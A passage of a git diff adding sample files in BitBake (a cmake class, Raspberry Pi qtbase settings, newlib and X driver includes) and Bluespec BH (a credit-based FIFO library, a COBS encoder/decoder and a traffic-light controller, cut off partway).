+    -DCMAKE_EXPORT_COMPILE_COMMANDS:BOOL=ON \
+"
+
+cmake_do_configure() {
+	if [ "${OECMAKE_BUILDPATH}" ]; then
+		bbnote "cmake.bbclass no longer uses OECMAKE_BUILDPATH.  The default behaviour is now out-of-tree builds with B=WORKDIR/build."
+	fi
+
+	if [ "${S}" = "${B}" ]; then
+		find ${B} -name CMakeFiles -or -name Makefile -or -name cmake_install.cmake -or -name CMakeCache.txt -delete
+	fi
+
+	# Just like autotools cmake can use a site file to cache result that need generated binaries to run
+	if [ -e ${WORKDIR}/site-file.cmake ] ; then
+		oecmake_sitefile="-C ${WORKDIR}/site-file.cmake"
+	else
+		oecmake_sitefile=
+	fi
+
+	cmake \
+	  ${OECMAKE_GENERATOR_ARGS} \
+	  $oecmake_sitefile \
+	  ${OECMAKE_SOURCEPATH} \
+	  ${OECMAKE_ARGS} \
+	  ${EXTRA_OECMAKE} \
+	  -Wno-dev
+}
+
+# To disable verbose cmake logs for a given recipe or globally config metadata e.g. local.conf
+# add following
+#
+# CMAKE_VERBOSE = ""
+#
+
+CMAKE_VERBOSE ??= "VERBOSE=1"
+
+# Then run do_compile again
+cmake_runcmake_build() {
+	bbnote ${DESTDIR:+DESTDIR=${DESTDIR} }${CMAKE_VERBOSE} cmake --build '${B}' "$@" -- ${EXTRA_OECMAKE_BUILD}
+	eval ${DESTDIR:+DESTDIR=${DESTDIR} }${CMAKE_VERBOSE} cmake --build '${B}' "$@" -- ${EXTRA_OECMAKE_BUILD}
+}
+
+cmake_do_compile()  {
+	cmake_runcmake_build --target ${OECMAKE_TARGET_COMPILE}
+}
+
+cmake_do_install() {
+	DESTDIR='${D}' cmake_runcmake_build --target ${OECMAKE_TARGET_INSTALL}
+}
+
+EXPORT_FUNCTIONS do_configure do_compile do_install do_generate_toolchain_file
diff --git a/samples/BitBake/qtbase_%.bbappend b/samples/BitBake/qtbase_%.bbappend
new file mode 100644
index 0000000000..6d3de3f8a7
--- /dev/null
+++ b/samples/BitBake/qtbase_%.bbappend
@@ -0,0 +1,19 @@
+PACKAGECONFIG_GL:rpi = "${@bb.utils.contains('DISTRO_FEATURES', 'x11 opengl', 'gl', \
+                        bb.utils.contains('DISTRO_FEATURES',     'opengl', 'eglfs gles2', \
+                                                                       '', d), d)}"
+PACKAGECONFIG_GL:append:rpi = "${@bb.utils.contains('MACHINE_FEATURES', 'vc4graphics', ' kms', '', d)}"
+PACKAGECONFIG_GL:append:rpi = " gbm"
+PACKAGECONFIG_FONTS:rpi = "fontconfig"
+PACKAGECONFIG:append:rpi = " libinput examples tslib xkbcommon"
+PACKAGECONFIG:remove:rpi = "tests"
+
+OE_QTBASE_EGLFS_DEVICE_INTEGRATION:rpi = "${@bb.utils.contains('MACHINE_FEATURES', 'vc4graphics', '', 'eglfs_brcm', d)}"
+
+do_configure:prepend:rpi() {
+    # Add the appropriate EGLFS_DEVICE_INTEGRATION
+    if [ "${@d.getVar('OE_QTBASE_EGLFS_DEVICE_INTEGRATION')}" != "" ]; then
+        echo "EGLFS_DEVICE_INTEGRATION = ${OE_QTBASE_EGLFS_DEVICE_INTEGRATION}" >> ${S}/mkspecs/oe-device-extra.pri
+    fi
+}
+RDEPENDS:${PN}:append:rpi = "${@bb.utils.contains('MACHINE_FEATURES', 'vc4graphics', '', ' userland', d)}"
+DEPENDS:append:rpi = "${@bb.utils.contains('MACHINE_FEATURES', 'vc4graphics', '', ' userland', d)}"
diff --git a/samples/BitBake/tclibc-newlib.inc b/samples/BitBake/tclibc-newlib.inc
new file mode 100644
index 0000000000..238b430e49
--- /dev/null
+++ b/samples/BitBake/tclibc-newlib.inc
@@ -0,0 +1,47 @@
+#
+# Newlib configuration
+#
+
+LIBCEXTENSION = "-newlib"
+LIBCOVERRIDE = ":libc-newlib"
+
+PREFERRED_PROVIDER_virtual/libc ?= "newlib"
+PREFERRED_PROVIDER_virtual/libiconv ?= "newlib"
+PREFERRED_PROVIDER_virtual/libintl ?= "newlib"
+PREFERRED_PROVIDER_virtual/nativesdk-libintl ?= "nativesdk-glibc"
+PREFERRED_PROVIDER_virtual/nativesdk-libiconv ?= "nativesdk-glibc"
+
+DISTRO_FEATURES_BACKFILL_CONSIDERED += "ldconfig"
+
+#USE_NLS ?= "no"
+
+IMAGE_LINGUAS = ""
+
+LIBC_DEPENDENCIES = "\
+    newlib-dbg \
+    newlib-dev \
+    libgloss \
+    libgloss-dev \
+    libgloss-dbg \
+    libgcc-dev \
+    libgcc-dbg \
+    libstdc++-dev \
+    libstdc++-staticdev \
+    "
+
+ASSUME_PROVIDED += "virtual/crypt"
+
+# Its useful to be able to extend newlib, but we dont provide a native variant of libgloss
+NEWLIB_EXTENDED ?=  "libgloss libgcc"
+BASE_DEFAULT_DEPS:append:class-target = " ${NEWLIB_EXTENDED}"
+
+TARGET_OS = "elf"
+TARGET_OS:arm = "eabi"
+
+TOOLCHAIN_HOST_TASK ?= "packagegroup-cross-canadian-${MACHINE} nativesdk-qemu nativesdk-sdk-provides-dummy"
+TOOLCHAIN_TARGET_TASK ?= "${LIBC_DEPENDENCIES}"
+TOOLCHAIN_NEED_CONFIGSITE_CACHE:remove = "zlib ncurses"
+
+# disable pie security flags by default
+SECURITY_CFLAGS:libc-newlib = "${SECURITY_NOPIE_CFLAGS}"
+SECURITY_LDFLAGS:libc-newlib = ""
diff --git a/samples/BitBake/xorg-driver-common.inc b/samples/BitBake/xorg-driver-common.inc
new file mode 100644
index 0000000000..8b3f19426b
--- /dev/null
+++ b/samples/BitBake/xorg-driver-common.inc
@@ -0,0 +1,44 @@
+SUMMARY = "X driver"
+HOMEPAGE = "http://www.x.org"
+BUGTRACKER = "https://bugs.freedesktop.org"
+SECTION = "x11/drivers"
+LICENSE = "MIT"
+
+PE = "2"
+
+DEPENDS = "virtual/xserver xorgproto util-macros"
+
+XORG_DRIVER_COMPRESSOR ?= ".tar.bz2"
+SRC_URI = "${XORG_MIRROR}/individual/driver/${BPN}-${PV}${XORG_DRIVER_COMPRESSOR}"
+
+FILES:${PN} += " ${libdir}/xorg/modules/drivers/*.so"
+
+XORGBUILDCLASS ??= "autotools"
+inherit ${XORGBUILDCLASS} pkgconfig features_check
+
+# depends on virtual/xserver
+REQUIRED_DISTRO_FEATURES = "x11"
+
+# FIXME: We don't want to include the libtool archives (*.la) from modules
+# directory, as they serve no useful purpose. Upstream should fix Makefile.am
+do_install:append() {
+	find ${D}${libdir}/xorg/modules -regex ".*\.la$" | xargs rm -f --
+}
+
+# Function to add the relevant ABI dependency to drivers, which should be called
+# from a PACKAGEFUNC.
+def _add_xorg_abi_depends(d, name):
+    # Map of ABI names exposed in the dependencies to pkg-config variables
+    abis = {
+      "video": "abi_videodrv",
+      "input": "abi_xinput"
+    }
+
+    output = os.popen("pkg-config xorg-server --variable=%s" % abis[name]).read()
+    mlprefix = d.getVar('MLPREFIX') or ''
+    abi = "%sxorg-abi-%s-%s" % (mlprefix, name, output.split(".")[0])
+
+    pn = d.getVar("PN")
+    d.appendVar('RDEPENDS:' + pn, ' ' + abi)
+
+SECURITY_LDFLAGS = "${SECURITY_X_LDFLAGS}"
diff --git a/samples/Bluespec BH/CGetPut.bs b/samples/Bluespec BH/CGetPut.bs
new file mode 100644
index 0000000000..34e394457e
--- /dev/null
+++ b/samples/Bluespec BH/CGetPut.bs	
@@ -0,0 +1,373 @@
+-- Copyright (c) 2020 Bluespec, Inc. All rights reserved.
+--
+-- Redistribution and use in source and binary forms, with or without
+-- modification, are permitted provided that the following conditions are
+-- met:
+--
+-- 1. Redistributions of source code must retain the above copyright
+--    notice, this list of conditions and the following disclaimer.
+--
+-- 2. Redistributions in binary form must reproduce the above copyright
+--    notice, this list of conditions and the following disclaimer in the
+--    documentation and/or other materials provided with the
+--    distribution.
+--
+-- 3. Neither the name of the copyright holder nor the names of its
+--    contributors may be used to endorse or promote products derived
+--    from this software without specific prior written permission.
+--
+-- THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+-- "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+-- LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+-- A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+-- HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+-- SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+-- LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+-- DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+-- THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+-- (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+-- OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+package CGetPut(CGet, CPut, CGetS, CPutS,
+         CGetPut, GetCPut, mkCGetPut, mkGetCPut, mkCGetCPut, CClientServer, ClientCServer,
+         CClient, CServer, CClientS(..), CServerS(..), mkCClientServer, mkClientCServer) where
+import FIFOF
+import ConfigReg
+import Connectable
+import GetPut
+import ClientServer
+import Vector
+import RegTwo
+
+--@ \subsubsection{CGetPut}
+--@ \index{CGetPut@\te{CGetPut} (package)|textbf}
+--@
+--@ The interfaces \te{CGet} and \te{CPut} are similar to
+--@ \te{Get} and \te{Put}, but the interconnection of them
+--@ (via \te{Connectable}) is implemented with a credit based
+--@ FIFO.  This means that the \te{CGet} and \te{CPut} interfaces
+--@ have completely registered input and outputs, and furthermore
+--@ that additional register buffers can be introduced in the connection path
+--@ without any ill effect (except an increase in latency, of course).
+
+interface (CGetS :: # -> * -> # -> *) n a sa =
+    gvalue   :: Bit sa
+    gpresent :: Bool
+    gcredit  :: Bool -> Action
+
+interface (CPutS :: # -> * -> # -> *) n a sa =
+    pvalue   :: Bit sa -> Action
+    ppresent :: Bool -> Action
+    pcredit  :: Bool
+
+--@ The interface types are abstract (to avoid any non-proper use of
+--@ the credit signaling protocol).
+--@
+--@ In the absence of additional register buffers, the round-trip time for communication
+--@ between the two interfaces is 4 clock cycles.  Call this number $r$.  The first argument
+--@ to the type, $n$, specifies that transfers will occur for a fraction $n/r$ of clock
+--@ cycles (note that the used cycles will not necessarily be evenly spaced).  $n$ also
+--@ specifies the depth of the buffer used in the receiving interface (the transmitter side
+--@ always has only a single buffer).  So (in the absence of additional buffers) use $n=4$
+--@ to allow full-bandwidth transmission, at the cost of sufficient registers for quadruple
+--@ buffering at one end; use $n=1$ for minimal use of registers, at the cost of reducing
+--@ the bandwidth to one quarter; use intermediate values to select the optimal trade-off if
+--@ appropriate.
+--@
+--@ \note{For compiler reasons the actual interfaces are called \te{CGetS} and \te{CPutS}
+--@ with \te{CGet} and \te{CPut} being type abbreviations.  Hopefully this will
+--@ be fixed soon.}
+--@ \begin{libverbatim}
+--@ typedef CGetS#(n, a, SizeOf#(a)) CGet #(type n, type a);
+--@ \end{libverbatim}
+type CGet n a = CGetS n a (SizeOf a)
+
+--@ \lineup
+--@ \begin{libverbatim}
+--@ typedef CPutS#(n, a, SizeOf#(a)) CPut #(type n, type a);
+--@ \end{libverbatim}
+type CPut n a = CPutS n a (SizeOf a)
+
+type CGetPut n a = (CGet n a, Put a)
+type GetCPut n a = (Get a, CPut n a)
+
+--@ Create one end of the credit based FIFO.  Access to it is via a \te{Put} interface.
+--@ \index{mkCGetPut@\te{mkCGetPut} (function)|textbf}
+--@ \begin{libverbatim}
+--@ module mkCGetPut(Tuple2 #(CGetS#(n, a, sa), Put#(a)))
+--@   provisos (Bits#(a, sa), Add#(1, k, n), Add#(n, 1, n1), Log#(n1, ln));
+--@ \end{libverbatim}
+mkCGetPut :: (IsModule m c, Bits a sa, Add 1 k n, Add n 1 n1, Log n1 ln) => m (CGetS n a sa, Put a)
+mkCGetPut =
+  module
+    putbuf :: FIFOF (Bit sa) <- mkUGLFIFOF
+    credits :: FIFOF () <- mkUGLSizedFIFOF (valueOf n - 1)
+    free :: Reg Bool <- mkConfigReg False
+    let hasData = putbuf.notEmpty
+    rules
+          {-# ASSERT no implicit conditions #-}
+          {-# ASSERT fire when enabled #-}
+          "deq":
+            when hasData
+             ==> putbuf.deq
+          {-# ASSERT no implicit conditions #-}
+          {-# ASSERT fire when enabled #-}
+          "free":
+            when free
+             ==> credits.deq
+    interface -- Pair
+       (interface CGetS
+            gvalue = putbuf.first
+            gpresent = hasData
+            gcredit b = free := b
+        ,
+        interface Put
+            put x = action
+                        putbuf.enq (pack x)
+                        credits.enq ()
+                when (credits.notFull || free)
+       )
+--@ Create the other end of the credit based FIFO.  Access to it is via a \te{Get} interface.
+--@ \index{mkGetCPut@\te{mkGetCPut} (function)|textbf}
+--@ \begin{libverbatim}
+--@ module mkGetCPut(Tuple2 #(Get#(a), CPutS#(n, a, sa)))
+--@   provisos (Bits#(a, sa), Add#(1, k, n), Log#(n, ln));
+--@ \end{libverbatim}
+mkGetCPut :: (IsModule m c, Bits a sa, Add 1 k n, Log n ln) => m (Get a, CPutS n a sa)
+mkGetCPut =
+  if valueOf n > 1 then
+    module
+      buff :: Vector n (Reg (Bit sa)) <- genWithM $ const mkConfigRegU
+      gotPresent :: Reg Bool <- mkConfigReg False
+      present :: Vector n (Reg Bool) <- genWithM $ const $ mkConfigReg False
+      ptr :: Reg (Bit ln) <- mkConfigReg 0
+      crd :: FIFOF () <- mkUGLFIFOF
+      let
+        presentEffective :: Vector n Bool
+        presentEffective = zipWith (\idx p -> if idx == 0 then gotPresent || p else p) genList (map readReg present)
+
+--        allAheadTrue :: Vector n Bool -> Vector n Bool
+--        allAheadTrue bs = let (_, result) = mapAccumR (\aat b -> (aat && b, aat && b)) True bs
+
+
+
+        bubble :: (Action, Vector n Bool)
+        bubble = let f :: (Integer, Bool, Action) -> (Reg Bool, Bool, Reg (Bit sa)) -> ((Integer, Bool, Action), Bool)
+                     f (idx, filled, upds) (p, pe, b) =
+                       (
+                        (idx-1
+                        ,
+                         filled && pe
+                        ,
+                         action {upds; if not (filled && pe) then (if idx /= 0 then action {p := presentEffective !! (idx-1); b := (buff !! (idx-1))._read} else action {p := False}) else action {}}
+                        )
+                       ,
+                        if not (filled && pe) then (if idx /= 0 then presentEffective !! (idx-1) else False) else pe
+                       )
+                     ((_, _, b_updates), b_presentNext) = mapAccumR f (valueOf n - 1, True, action {}) (zip3 present presentEffective buff)
+                 in (b_updates, b_presentNext)
+        presentNext :: Vector n Bool
+        presentNext = bubble.snd
+        updates :: Action
+        updates = bubble.fst
+--        updates :: Vector n Bool -> (Vector n Bool, Vector n Action)
+--        updates bs = let f idx (pag, aap, b) = case idx of
+--                                            0 -> if not aap then (False, noAction) else (pag, noAction)
+--                                            _ -> if not aap then (select presentAfterGet (idx-1), b := (select buff (idx-1))._read) else (pag, noAction)
+--                  in unzip $ zipWith f genList (zip3 presentAfterGet allAheadPresent buff)
+
+        clearLastTrue :: Vector n Bool -> Vector n Bool
+        clearLastTrue bs = let (_, result) = mapAccumR (\found b -> if (not found && b) then (True, False) else (found, b)) False bs
+                           in result
+        lastTrueIdx :: Vector n Bool -> Bit ln
+        lastTrueIdx bs = let f (idx, h) b = if b then (idx+1, idx) else (idx+1, h)
+                             (_, result) = foldl f (0, 0) bs
+                         in result
+
+      rw :: RWire ()
+      rw <- mkRWire
+
+      rules
+          {-# ASSERT no implicit conditions #-}
+          "update":
+            when rw.wget == Nothing
+             ==> action updates
+                        ptr := lastTrueIdx presentNext
+          {-# ASSERT no implicit conditions #-}
+          {-# ASSERT fire when enabled #-}
+          "deq-crd":
+            when crd.notEmpty
+             ==> crd.deq
+      interface -- Pair
+        (interface Get
+           get = do rw.wset()
+                    crd.enq ()
+                    joinActions $ zipWith writeReg present (cons False (init $ clearLastTrue presentEffective))
+                    joinActions $ zipWith writeReg (tail buff) (init $ map readReg buff)
+                    ptr._write $ lastTrueIdx $ cons False (init $ clearLastTrue presentEffective)
+                    return $ unpack (select buff ptr)._read
+             when (fold (||) presentEffective)
+        ,
+         interface CPutS
+           pvalue v = (head buff)._write v
+           ppresent p = gotPresent := p
+           pcredit = crd.notEmpty
+        )
+  else
+    module
+      buff :: Reg (Bit sa) <- mkConfigRegU
+      present :: RegTwo Bool <- mkRegTwo False
+      gotPresent :: Reg Bool <- mkConfigReg False
+      crd :: FIFOF () <- mkUGLFIFOF
+      rules
+        {-# ASSERT no implicit conditions #-}
+        {-# ASSERT fire when enabled #-}
+        "deq-crd":
+          when crd.notEmpty ==> crd.deq
+        {-# ASSERT no implicit conditions #-}
+        {-# ASSERT fire when enabled #-}
+        "save":
+          when gotPresent ==> present.setB True
+      interface -- Pair
+        (interface Get
+           get = do crd.enq ()
+                    present.setA False
+                    return $ unpack buff
+             when (gotPresent || present.get)
+        ,
+         interface CPutS
+           pvalue v = buff := v
+           ppresent p = gotPresent := p
+           pcredit = crd.notEmpty
+        )
+
+--@ Create a buffer that can be inserted along a connection path.
+--@ \index{mkCGetCPut@\te{mkCGetCPut} (function)|textbf}
+--@ \begin{libverbatim}
+--@ module mkCGetCPut(Tuple2 #(CGetS#(n, a, sa), CPutS#(n, a, sa)))
+--@   provisos (Bits#(a, sa));
+--@ \end{libverbatim}
+mkCGetCPut :: (IsModule m c, Bits a sa) => m (CGetS n a sa, CPutS n a sa)
+mkCGetCPut =
+  module
+    val :: Reg (Bit sa) <- mkConfigRegU
+    prs :: Reg Bool <- mkConfigReg False
+    crd :: Reg Bool <- mkConfigReg False
+    interface --  Pair
+       (interface CGetS
+            gvalue = val
+            gpresent = prs
+            gcredit b = crd := b
+        ,
+        interface CPutS
+            pvalue v = val := v
+            ppresent p = prs := p
+            pcredit = crd
+        )
+
+--@ The \te{CGet} and \te{CPut} interface are connectable.
+--@ \begin{libverbatim}
+--@ instance Connectable #(CGetS#(n, a, sa), CPutS#(n, a, sa));
+--@ \end{libverbatim}
+instance Connectable (CGetS n a sa) (CPutS n a sa)
+   where
+    mkConnection :: (IsModule m c) => CGetS n a sa -> CPutS n a sa -> m Empty
+    mkConnection g p =
+      module
+        rules
+          {-# ASSERT no implicit conditions #-}
+          {-# ASSERT fire when enabled #-}
+          "moveCGetPut":
+            when True
+             ==> action
+                    p.pvalue g.gvalue
+                    p.ppresent g.gpresent
+                    g.gcredit p.pcredit
+
+--@ \lineup
+--@ \begin{libverbatim}
+--@ instance Connectable #(CPutS#(n, a, sa), CGetS#(n, a, sa));
+--@ \end{libverbatim}
+instance Connectable (CPutS n a sa) (CGetS n a sa)
+   where
+    mkConnection p g = mkConnection g p
+
+--@ The same idea may be extended  to clients and servers.
+
+interface CClientS n a sa b sb =
+   request :: CGetS n a sa
+   response:: CPutS n b sb
+
+interface CServerS n a sa b sb =
+   request  :: CPutS n a sa
+   response :: CGetS n b sb
+
+--@ \begin{libverbatim}
+--@ typedef CClientS#(n, a, SizeOf#(a), b, SizeOf#(b))
+--@                                           CClient #(type n, type a, type b);
+--@ typedef CServerS#(n, a, SizeOf#(a), b, SizeOf#(b))
+--@                                           CServer #(type n, type a, type b);
+--@ \end{libverbatim}
+type CClient n a b = CClientS n a (SizeOf a) b (SizeOf b)
+type CServer n a b = CServerS n a (SizeOf a) b (SizeOf b)
+
+type CClientServer n a b = (CClient n a b, Server a b)
+type ClientCServer n a b = (Client a b, CServer n a b)
+
+instance Connectable (CClientS n a sa b sb)
+                     (CServerS n a sa b sb)
+   where
+    mkConnection :: (IsModule m c) =>
+               (CClientS n a sa b sb) ->
+               (CServerS n a sa b sb) -> m Empty
+    mkConnection cc cs =
+      module
+          cc.request <-> cs.request
+          cc.response <-> cs.response
+
+instance Connectable (CServerS n a sa b sb)
+                     (CClientS n a sa b sb)
+   where
+    mkConnection cs cc = mkConnection cc cs
+
+--@ \index{mkClientCServer@\te{mkClientCServer} (function)|textbf}
+--@ \begin{libverbatim}
+--@ module mkClientCServer(Tuple2 #(Client#(a, b), CServerS#(n, a, sa, b, sb)))
+--@   provisos (Bits#(a, sa), Bits#(b, sb), Add#(1, k, n));
+--@ \end{libverbatim}
+mkClientCServer :: (IsModule m c, Bits a sa, Bits b sb, Add 1 k n) =>
+                               m (Client a b, CServerS n a sa b sb)
+mkClientCServer =
+  module
+    (g, cp) <- mkGetCPut
+    (cg, p) <- mkCGetPut
+    interface
+     (interface Client
+        request = g
+        response = p
+      ,
+      interface CServerS
+        request = cp
+        response = cg
+     )
+
+--@ \index{mkCClientServer@\te{mkCClientServer} (function)|textbf}
+--@ \begin{libverbatim}
+--@ module mkCClientServer(Tuple2 #(CClientS#(n, a, sa, b, sb), Server#(a, b)))
+--@   provisos (Bits#(a, sa), Bits#(b, sb), Add#(1, k, n));
+--@ \end{libverbatim}
+mkCClientServer :: (IsModule m c, Bits a sa, Bits b sb, Add 1 k n) =>
+                               m (CClientS n a sa b sb, Server a b)
+mkCClientServer =
+  module
+    (g, cp) <- mkGetCPut
+    (cg, p) <- mkCGetPut
+    interface
+     (interface CClientS
+        request = cg
+        response = cp
+      ,
+      interface Server
+        request = p
+        response = g
+     )
diff --git a/samples/Bluespec BH/COBS.bs b/samples/Bluespec BH/COBS.bs
new file mode 100644
index 0000000000..4a3e677c59
--- /dev/null
+++ b/samples/Bluespec BH/COBS.bs	
@@ -0,0 +1,123 @@
+-- This file is copied from https://github.com/B-Lang-org/bsc-contrib
+-- SPDX-License-Identifier: BSD-3-Clause
+
+package COBS where
+
+import FIFO
+import GetPut
+import Vector
+
+-- Implementation of Consistent Overhead Byte Stuffing (COBS) encoding of messages into a byte stream.
+-- See https://en.wikipedia.org/wiki/Consistent_Overhead_Byte_Stuffing
+
+interface (COBSEncoder :: # -> *) n =
+  msg :: Put (UInt (TLog (TAdd 1 n)), Vector n (Bit 8))
+  byte :: Get (Bit 8)
+
+mkCOBSEncoder :: (Log (TAdd 1 n) sizeWidth) => Module (COBSEncoder n)
+mkCOBSEncoder = module
+  msgs :: FIFO (UInt sizeWidth, Vector n (Bit 8)) <- mkFIFO
+  bytes :: FIFO (Bit 8) <- mkFIFO
+
+  let size :: UInt (TMax sizeWidth 8) = zeroExtend msgs.first.fst
+  let msg :: Vector n (Bit 8) = msgs.first.snd
+
+  -- Index of the next byte to encode
+  i :: Reg (UInt (TMax sizeWidth 8)) <- mkReg 0
+  -- Distance from i to the next zero / overhead / end of message byte
+  j :: Reg (UInt 8) <- mkReg 0
+  -- Index of the next overhead byte to be inserted
+  nextOverhead :: Reg (Maybe (UInt (TMax sizeWidth 8))) <- mkReg $ Just 0
+
+  let byteI = select msg i
+  let foundNextZero =
+        j == (if nextOverhead == Just i then 0xfe else 0xff) ||
+        i + zeroExtend j >= size || select msg (i + zeroExtend j) == 0
+
+  rules
+    "next_msg": when i >= size ==> do
+      -- $display "next_msg"
+      msgs.deq
+      bytes.enq 0
+      i := 0
+      j := 0
+      nextOverhead := Just 0
+
+    "find_next_zero": when i < size && not foundNextZero ==> j := j + 1
+
+    "encode_overhead": when nextOverhead == Just i && i < size && foundNextZero ==> do
+      -- $display "encode_overhead %x" (j + 1)
+      bytes.enq $ pack (j + 1)
+      nextOverhead := if j == 0xfe then Just (i + 0xfe) else Nothing
+      j := 1
+
+    "encode_zero": when nextOverhead /= Just i && i < size && byteI == 0 && foundNextZero ==> do
+      -- $display "encode_zero %x" j
+      bytes.enq $ pack j
+      nextOverhead := if j == 0xfe then Just (i + 0xfe) else Nothing
+      i := i + 1
+      j := 1
+
+    "encode_nonzero": when nextOverhead /= Just i && i < size && byteI /= 0 && foundNextZero ==> do
+      -- $display "encode_nonzero %x" byteI
+      bytes.enq byteI
+      i := i + 1
+      j := if j > 1 || nextOverhead == Just (i + 1) then j - 1 else 1  -- Ensure that j > 0 if the next byte is not an overhead byte
+
+  interface
+    msg = toPut msgs
+    byte = toGet bytes
+
+
+interface (COBSDecoder :: # -> *) n =
+  msg :: Get (UInt (TLog (TAdd 1 n)), Vector n (Bit 8))
+  byte :: Put (Bit 8)
+
+mkCOBSDecoder :: (Log (TAdd 1 n) sizeWidth) => Module (COBSDecoder n)
+mkCOBSDecoder = module
+  msgs :: FIFO (UInt sizeWidth, Vector n (Bit 8)) <- mkFIFO
+  bytes :: FIFO (Bit 8) <- mkFIFO
+
+  -- Index of the next result byte to be decoded
+  i :: Reg (UInt sizeWidth) <- mkReg 0
+  -- Distance to the next zero / overhead / end of message byte
+  j :: Reg (UInt 8) <- mkReg 0
+  -- Is the next zero / overhead / end of message byte an overhead byte?
+  isOverhead :: Reg Bool <- mkReg True
+  -- Vector of registers containing partially-decoded message
+  msg :: Vector n (Reg (Bit 8)) <- replicateM $ mkReg 0
+
+  rules
+    "next_msg": when bytes.first == 0 ==> do
+      -- $display "next_msg"
+      bytes.deq
+      msgs.enq (i, map readReg msg)
+      i := 0
+      j := 0
+      isOverhead := True
+      writeVReg msg $ replicate 0
+
+    "decode_overhead": when bytes.first /= 0 && j == 0 && isOverhead ==> do
+      -- $display "decode_overhead %x" bytes.first
+      j := unpack bytes.first - 1
+      isOverhead := bytes.first == 0xff
+      bytes.deq
+
+    "decode_zero": when bytes.first /= 0 && j == 0 && not isOverhead ==> do
+      -- $display "decode_zero %x" bytes.first
+      select msg i := 0
+      i := i + 1
+      j := if bytes.first == 0xff then 0xff else unpack bytes.first - 1
+      isOverhead := bytes.first == 0xff
+      bytes.deq
+
+    "decode_nonzero": when bytes.first /= 0 && j > 0 ==> do
+      -- $display "decode_nonzero %x" bytes.first
+      select msg i := bytes.first
+      i := i + 1
+      j := j - 1
+      bytes.deq
+
+  interface
+    msg = toGet msgs
+    byte = toPut bytes
diff --git a/samples/Bluespec BH/TL.bs b/samples/Bluespec BH/TL.bs
new file mode 100644
index 0000000000..45d0b0b422
--- /dev/null
+++ b/samples/Bluespec BH/TL.bs	
@@ -0,0 +1,168 @@
+package TL (TL(..), sysTL) where
+
+import Vector
+
+interface TL =
+    ped_button_push :: Prelude.Action
+
+    set_car_state_N :: Bool -> Prelude.Action {-# always_enabled  #-}
+    set_car_state_S :: Bool -> Prelude.Action {-# always_enabled  #-}
+    set_car_state_E :: Bool -> Prelude.Action {-# always_enabled  #-}
+    set_car_state_W :: Bool -> Prelude.Action {-# always_enabled  #-}
+
+    lampRedNS   :: Bool 
+    lampAmberNS :: Bool
+    lampGreenNS :: Bool
+
+    lampRedE   :: Bool
+    lampAmberE :: Bool
+    lampGreenE :: Bool
+
+    lampRedW   :: Bool
+    lampAmberW :: Bool
+    lampGreenW :: Bool
+
+    lampRedPed   :: Bool
+    lampAmberPed :: Bool
+    lampGreenPed :: Bool
+ 
+data TLstates = AllRed
+              | GreenNS  | AmberNS
+              | GreenE   | AmberE
+              | GreenW   | AmberW
+              | GreenPed | AmberPed
+  deriving (Eq, Bits)
+
+type Time32 = UInt 5
+type CtrSize = UInt 20
+
+{-# properties sysTL = { verilog } #-}
+sysTL :: Module TL
+sysTL = 
+    module
+      let allRedDelay :: Time32 = 2
+          amberDelay  :: Time32 = 4
+          nsGreenDelay :: Time32 = 20
+          ewGreenDelay :: Time32 = 10
+          pedGreenDelay :: Time32 = 10
+          pedAmberDelay :: Time32 = 6
+
+          clocks_per_sec :: CtrSize = 100
+
+      state :: Reg TLstates <- mkReg AllRed
+      next_green :: Reg TLstates <- mkReg GreenNS
+      secs :: Reg Time32 <- mkReg 0
+      ped_button_pushed :: Reg Bool <- mkReg False
+      car_present_N :: Reg Bool <- mkReg True
+      car_present_S :: Reg Bool <- mkReg True
+      car_present_E :: Reg Bool <- mkReg True
+      car_present_W :: Reg Bool <- mkReg True
+      let car_present_NS :: Bool
+          car_present_NS = car_present_N || car_present_S
+      cycle_ctr :: Reg CtrSize <- mkReg 0
+
+      rules
+           "dec_cycle_ctr":  when cycle_ctr /= 0
+                              ==>
+                                cycle_ctr := cycle_ctr - 1
+
+      let low_priority_rule :: Rules
+          low_priority_rule = 
+                   rules
+                     "inc_sec":  when cycle_ctr == 0
+                                  ==>
+                                    action
+                                      secs := secs + 1
+                                      cycle_ctr := clocks_per_sec
+
+          next_state :: TLstates -> Prelude.Action
+          next_state ns = action { state := ns; secs := 0; }
+
+          green_seq :: TLstates -> TLstates
+          green_seq GreenNS = GreenE
+          green_seq GreenE  = GreenW
+          green_seq GreenW  = GreenNS
+
+          car_present :: TLstates -> Bool
+          car_present GreenNS = car_present_NS
+          car_present GreenE  = car_present_E
+          car_present GreenW  = car_present_W
+
+          make_from_green_rule :: TLstates -> Time32 -> Bool -> TLstates -> Rules
+          make_from_green_rule green_state delay car_is_present ns =
+                rules
+                  "from_green":  when (state == green_state) &&
+                                       ((secs >= delay) || (not car_is_present))
+                                  ==>
+                                    next_state ns
+
+          make_from_amber_rule :: TLstates -> TLstates -> Rules
+          make_from_amber_rule amber_state ng = 
+                rules
+                  "from_amber":  when (state == amber_state) &&
+                                      (secs >= amberDelay)
+                                  ==>
+                                    action
+                                      next_state AllRed
+                                      next_green := ng
+
+          hpr0 :: Rules
+          hpr0 = rules
+                        "fromAllRed":  when (state == AllRed) &&
+                                            (secs >= allRedDelay)
+                                        ==>
+                                          if ped_button_pushed then
+                                            action
+                                              ped_button_pushed := False
+                                              next_state GreenPed
+                                          else if car_present next_green then
+                                            next_state next_green
+                                          else if car_present (green_seq next_green) then
+                                            next_state (green_seq next_green)
+                                          else if car_present (green_seq (green_seq next_green)) then
+                                            next_state (green_seq (green_seq next_green))
+                                          else
+                                            noAction
+
+          hpr1 :: Rules = make_from_green_rule GreenNS nsGreenDelay car_present_NS AmberNS
